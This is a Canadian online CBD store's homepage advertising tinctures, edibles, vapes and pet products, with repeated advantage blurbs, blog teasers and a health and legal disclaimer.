openmarket

100% NATURAL CBD PRODUCTS

Achieve Physical
& Spiritual wellness

CBD Oil Toronto, Canada - Full Spectrum & Isolate

CBD2GO retails a wide selection of premium, 100% Natural CBD products. We offer a wide selection of products, including CBD Tinctures, CBD Edibles, CBD Capsules, CBD Vapes, CBD Pet Products, Lotions, Salves and more! We offer express shipping throughout Canada.

Shop by Brand

Our Advantages:

NO PRESCRIPTION REQUIRED

Prescription only helps in determining dosage, to purchase our products you do not require it, our products are safe, and non- psychoactive!

EFFICIENT & DISCREET SHIPPING

Prescription only helps in determining dosage, to purchase our products you do not require it, our products are safe, and non- psychoactive!

SECURE & ENCRYPTED PAYMENT

Prescription only helps in determining dosage, to purchase our products you do not require it, our products are safe, and non- psychoactive!

HIGHEST GRADE CBD

Prescription only helps in determining dosage, to purchase our products you do not require it, our products are safe, and non- psychoactive!

From the Blog

What is the Difference between Hemp CBD Oil and Marijuana CBD Oil?

What is the Difference between Hemp CBD Oil and Marijuana CBD Oil?

Here, we’d like to explain the difference between cannabis (or marijuana) and hemp (or industrial hemp). are two different varieties of Cannabis sativa plant that…

What is the Difference between Hemp CBD Oil and Marijuana CBD Oil?

What is the Difference between Hemp CBD Oil and Marijuana CBD Oil?

Here, we’d like to explain the difference between cannabis (or marijuana) and hemp (or industrial hemp). are two different varieties of Cannabis sativa plant that…

What is the Difference between Hemp CBD Oil and Marijuana CBD Oil?

What is the Difference between Hemp CBD Oil and Marijuana CBD Oil?

Here, we’d like to explain the difference between cannabis (or marijuana) and hemp (or industrial hemp). are two different varieties of Cannabis sativa plant that…

Follow us: @cbd2go.ca

FREE SHIPPING

On all orders over $150 before tax

10% DISCOUNT

10% Discount for first-time buyers

SECURE PAYMENT

Disclaimer: All products are not for use by or sale to persons under the age of 19. It should not be used if you are pregnant or nursing. Consult with a physician before use if you have a serious medical condition or use prescription medications. A Doctor’s advice should be sought before using this and any supplemental dietary product. All trademarks and copyrights are property of their respective owners and are not affiliated with nor do they endorse this product. By using this site, you agree to follow the Privacy Policy and all Terms & Conditions printed on this site. Void Where Prohibited by Law. While we work to ensure that product information is correct, on occasion manufacturers may alter their ingredient lists. Actual product packaging and materials may contain more and/or different information than that shown on our Web site. We recommend that you do not solely rely on the information presented and that you always read labels, warnings, and directions before using or consuming a product. For additional information about a product, please contact the manufacturer. Content on this site is for reference purposes and is not intended to substitute for advice given by a physician, pharmacist, or other licensed health-care professional. You should not use this information as self-diagnosis or for treating a health problem or disease. Information and statements regarding dietary supplements have not been evaluated by the Health Canada or Food and Drug Administration and are not intended to diagnose, treat, cure, or prevent any disease or health condition. CBD2GO.ca assumes no liability for inaccuracies or misstatements about products.